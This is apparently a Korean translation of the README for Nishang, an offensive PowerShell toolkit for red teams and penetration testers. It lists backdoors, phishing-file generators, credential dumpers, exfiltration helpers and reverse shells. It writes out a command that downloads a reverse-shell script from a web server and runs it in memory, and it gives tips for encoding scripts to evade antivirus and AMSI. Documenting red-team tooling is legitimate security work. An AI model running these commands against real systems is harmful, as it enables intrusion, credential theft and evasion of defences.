
Nishang - 레드팀, 침투 테스트 및 공격 보안을 위한 공격적 PowerShell
작성자: Nikhil Mittal Altered Security - Hands-on red team and enterprise security training! 설립자
현재 PowerShell 세션에서 모든 스크립트 가져오기 (PowerShell v3 이상).
PS C:\nishang> Import-Module .\nishang.psm1
개별 스크립트는 닷 소싱(dot sourcing)으로 사용하세요.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
스크립트나 함수에 대한 도움말을 보려면 다음을 사용하세요:
PS C:\nishang> Get-Help [scriptname] -full
참고: 버전 0.3.8 이후로, 도움말은 스크립트 자체가 아니라 스크립트 실행 후 로드된 함수에 대해 제공됩니다. 모든 경우에 함수 이름은 스크립트 이름과 동일합니다.
예를 들어, Get-WLAN-Keys.ps1에 대한 도움말을 보려면 다음을 사용하세요.
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Nishang 스크립트는 많은 안티 바이러스 프로그램에서 악성으로 탐지됩니다. 대상에서의 스크립트는 메모리에서 사용하도록 설계되었으며, PowerShell로 매우 쉽게 수행할 수 있습니다. PowerShell 스크립트를 메모리에서 실행하는 두 가지 기본 방법:
방법 1. 인메모리 다운로드 및 실행 사용: 원격 셸, meterpreter 네이티브 셸, 웹 셸 등에서 아래 명령을 사용하여 PowerShell 스크립트와 해당 스크립트가 내보내는 함수를 실행하세요. Nishang의 모든 스크립트는 현재 PowerShell 세션에 동일한 이름의 함수를 내보냅니다.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
방법 2. PowerShell의 -encodedcommand (또는 -e) 매개변수 사용
Nishang의 모든 스크립트는 현재 PowerShell 세션에 동일한 이름의 함수를 내보냅니다. 따라서 비-PowerShell 셸에서 encodedcommand 매개변수를 사용하는 경우 스크립트 자체에 함수 호출을 포함해야 합니다. 위 예제의 경우, 따옴표 없이 "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"를 추가하세요.
Nishang의 Invoke-Encode를 사용하여 스크립트를 인코딩하세요:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
인코딩된 데이터가 .\encoded.txt에 기록됨
인코딩된 명령이 .\encodedcommand.txt에 기록됨
위에서 encodedcommand.txt의 인코딩된 스크립트를 사용하여 명령을 실행할 수 있는 대상(원격 셸, meterpreter 네이티브 셸, 웹 셸 등)에서 실행하세요. 다음과 같이 사용하세요:
C:\Users\target> powershell -e [encodedscript]
스크립트가 여전히 탐지되는 경우, 함수 및 매개변수 이름을 변경하고 도움말 내용을 제거하면 도움이 됩니다.
Windows 10의 AMSI가 여전히 스크립트 실행을 차단하는 경우, 이 블로그를 참조하세요: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang에는 현재 다음 스크립트와 페이로드가 포함되어 있습니다.
DCShadow에 필요한 최소 권한을 제공하기 위해 AD 개체를 수정합니다.
이 웹쉘을 사용하여 메모리에서 PowerShell 스크립트 실행, 명령 실행, 파일 다운로드 및 업로드를 수행합니다.
타사 웹사이트에서 명령을 수신하고 메모리에서 PowerShell 스크립트를 실행할 수 있는 백도어입니다.
DNS TXT 쿼리로부터 명령 및 PowerShell 스크립트를 수신하고, 대상에서 실행하며, 쿼리를 통해 원격으로 제어할 수 있는 백도어입니다.
지정된 시간에 대상에서 PowerShell 스크립트를 실행할 수 있는 백도어입니다.
WLAN SSID에 연결하지 않고도 명령과 스크립트를 수신할 수 있는 백도어입니다.
Windows 화면 보호기를 사용하여 원격 명령 및 스크립트 실행을 수행할 수 있는 백도어입니다.
대체 데이터 스트림(ADS)과 Windows 레지스트리를 사용하여 지속성을 확보할 수 있는 백도어입니다.
잘 알려진 디버거 트릭을 사용하여 Sticky keys 및 Utilman (Windows 키 + U)으로 페이로드를 실행하는 백도어입니다.
DCOM 및 WMI 네임스페이스의 권한을 수정하여 비관리자 사용자가 액세스할 수 있도록 합니다.
PowerShell 원격의 권한을 수정하여 비관리자 사용자가 액세스할 수 있도록 합니다.
공개된 방법을 구현하여 AMSI를 우회/회피합니다.
PowerShell 명령 및 스크립트를 실행할 수 있는 감염된 CHM 파일을 생성합니다.
Word 파일을 생성하고 기존 파일을 감염시켜 PowerShell 명령 및 스크립트를 실행합니다.
Excel 파일을 생성하고 기존 파일을 감염시켜 PowerShell 명령 및 스크립트를 실행합니다.
웹 서버에 배포하고 피싱 캠페인에 사용할 수 있는 HTA 파일을 생성합니다.
애플릿과 함께 사용하여 스크립트 및 명령 실행에 사용할 수 있는 서명된 JAR 파일을 생성합니다.
PowerShell 명령 및 스크립트를 실행할 수 있는 바로가기 파일을 생성합니다.
자격 증명 및 SMB 해시를 피싱하기 위한 IQY 파일을 생성합니다.
PowerShell 명령 및 스크립트를 실행할 수 있는 JS 파일을 생성합니다.
PowerShell 명령 및 스크립트를 실행할 수 있는 SCT 파일을 생성합니다.
NTLM 해시 챌린지를 캡처하는 데 사용할 수 있는 SCF 파일을 생성합니다.
SYSTEM 권한이 필요한 경우 사용합니다.
패치를 제거하여 취약점을 도입합니다.
UAC를 우회합니다.
PowerShell 스크립트를 메모리에 다운로드하여 실행합니다.
텍스트 형식의 실행 파일을 다운로드하고, 실행 파일로 변환한 후 실행합니다.
충분한 권한이 있는 MSSQL 서버에서 PowerShell 명령, 네이티브 명령 또는 SQL 명령을 실행합니다.
DNS TXT 쿼리를 사용하여 메모리에서 셸코드를 실행합니다.
rundll32.exe를 사용하여 PowerShell 명령 및 스크립트 또는 역방향 PowerShell 세션을 실행합니다.
가상 머신인지 확인합니다.
볼륨 섀도 복사 서비스를 사용하여 SAM 파일을 복사합니다.
사용자를 속여 평문 자격 증명을 제공하게 합니다.
이그레스 테스트를 위한 한 쌍의 스크립트입니다.
대상에서 유용한 정보를 수집합니다.
대상에서 LSA 비밀을 가져옵니다.
대상에서 비밀번호 해시를 가져옵니다.
대상에서 WLAN 키를 평문으로 가져옵니다.
대상의 키 입력을 기록합니다.
Invoke-MimikatzWdigestDowngrade
Windows 8.1 및 Server 2012에서 사용자 비밀번호를 평문으로 덤프합니다.
대상에서 Windows 사용자의 비밀번호 힌트를 가져옵니다.
역방향 연결을 통해 MJPEG를 사용하여 대상 화면을 스트리밍합니다.
mimikatz를 메모리에 로드합니다. 업데이트 및 일부 사용자 지정 포함.
정규식을 사용하여 대상 프로세스(예: 브라우저) 메모리에서 중요한 정보를 추출합니다.
WLAN SSID를 사용하여 사용자 자격 증명과 같은 정보를 유출합니다.
Unix 머신에 액세스하는 데 사용되는 관리자 점프 박스 및/또는 컴퓨터를 식별합니다.
MITM 공격을 위한 로컬 HTTPS 프록시입니다.
여러 컴퓨터에서 자격 증명을 확인하고 PSSession을 생성합니다.
Run-EXEonRemote 여러 머신에 실행 파일을 복사하고 실행합니다.
Invoke-NetworkRelay 컴퓨터 간에 네트워크 릴레이를 생성합니다.
실행 중인 프로세스의 해시를 VirusTotal 데이터베이스와 비교합니다.
FTP, Active Directory, MSSQL 및 Sharepoint에 대한 무차별 대입 공격을 수행합니다.
유용한 포트 스캐너입니다.
Nishang의 모든 기능을 단일 스크립트 모듈로 제공합니다.
지정된 Gmail 계정으로 명령 및 스크립트를 전송하여 Invoke-PsGcatAgent가 실행하도록 합니다.
Invoke-PsGcat이 전송한 명령 및 스크립트를 실행합니다.
대화형 PowerShell 역방향 연결 또는 바인드 셸입니다.
Invoke-PowerShellTcp의 축소 버전입니다. 또한 두 개의 트윗에 들어갈 수 있는 스켈레톤 버전을 포함합니다.
Invoke-PowerShellTcpOneLineBind
Invoke-PowerShellTcpOneLine의 바인드 버전입니다.
UDP를 통한 대화형 PowerShell 역방향 연결 또는 바인드 셸입니다.
Invoke-PowerShellUdp의 축소 버전입니다.
HTTPS를 통한 역방향 대화형 PowerShell입니다.
HTTP를 통한 역방향 대화형 PowerShell입니다.
Invoke-PoshRatHttps 사용 후 시스템을 정리합니다.
WMI를 사용한 대화형 PowerShell입니다.
ICMP를 통한 대화형 PowerShell 역방향 셸입니다.
rundll32.exe를 사용하여 HTTP를 통한 대화형 PowerShell 역방향 셸입니다.
regsvr32.exe를 사용하여 HTTP를 통한 대화형 PowerShell 역방향 셸입니다.
모든 스크립트에 Gmail, Pastebin, 웹 서버 및 DNS를 통한 데이터 유출 기능을 추가합니다.
스크립트에 재부팅 후 지속성 기능을 추가합니다.
Add-Persistence 스크립트가 추가한 지속성을 제거합니다.
출력을 유출하기 위해 모든 스크립트에 파이프(|)로 연결합니다.
파일을 대상으로 전송합니다.
키로거가 기록한 키를 구문 분석합니다.
스크립트 또는 문자열을 인코딩하고 압축합니다.
Invoke-Encode에서 생성된 스크립트 또는 문자열을 디코딩하고 압축 해제합니다.
Basic 인증 및 SMB 해시를 기록하는 웹 서버를 실행합니다.
문자열을 ROT13으로 인코딩하거나 ROT13 문자열을 디코딩합니다.
다른 스크립트와 함께 사용할 수 있는 DNS TXT 레코드를 생성합니다.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Nishang에 대한 업데이트는 제 블로그 http://labofapenetrationtester.com 와 트위터 @nikhil_mitt에서 확인할 수 있습니다.
버그를 발견하거나 기능 요청이 있는 경우 이슈를 등록해 주세요. nikhil [dot] uitrgpv at gmail.com으로 이메일을 보내실 수도 있습니다.
피드백, 토론 및 기능 요청을 위해 다음에 가입하세요: http://groups.google.com/group/nishang-users
저는 항상 Nishang에 기여자를 찾고 있습니다. 요청을 제출하거나 이메일을 보내주세요.
초보자에게 유용한 몇 가지 블로그 포스트:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
Nishang에 관한 모든 게시물: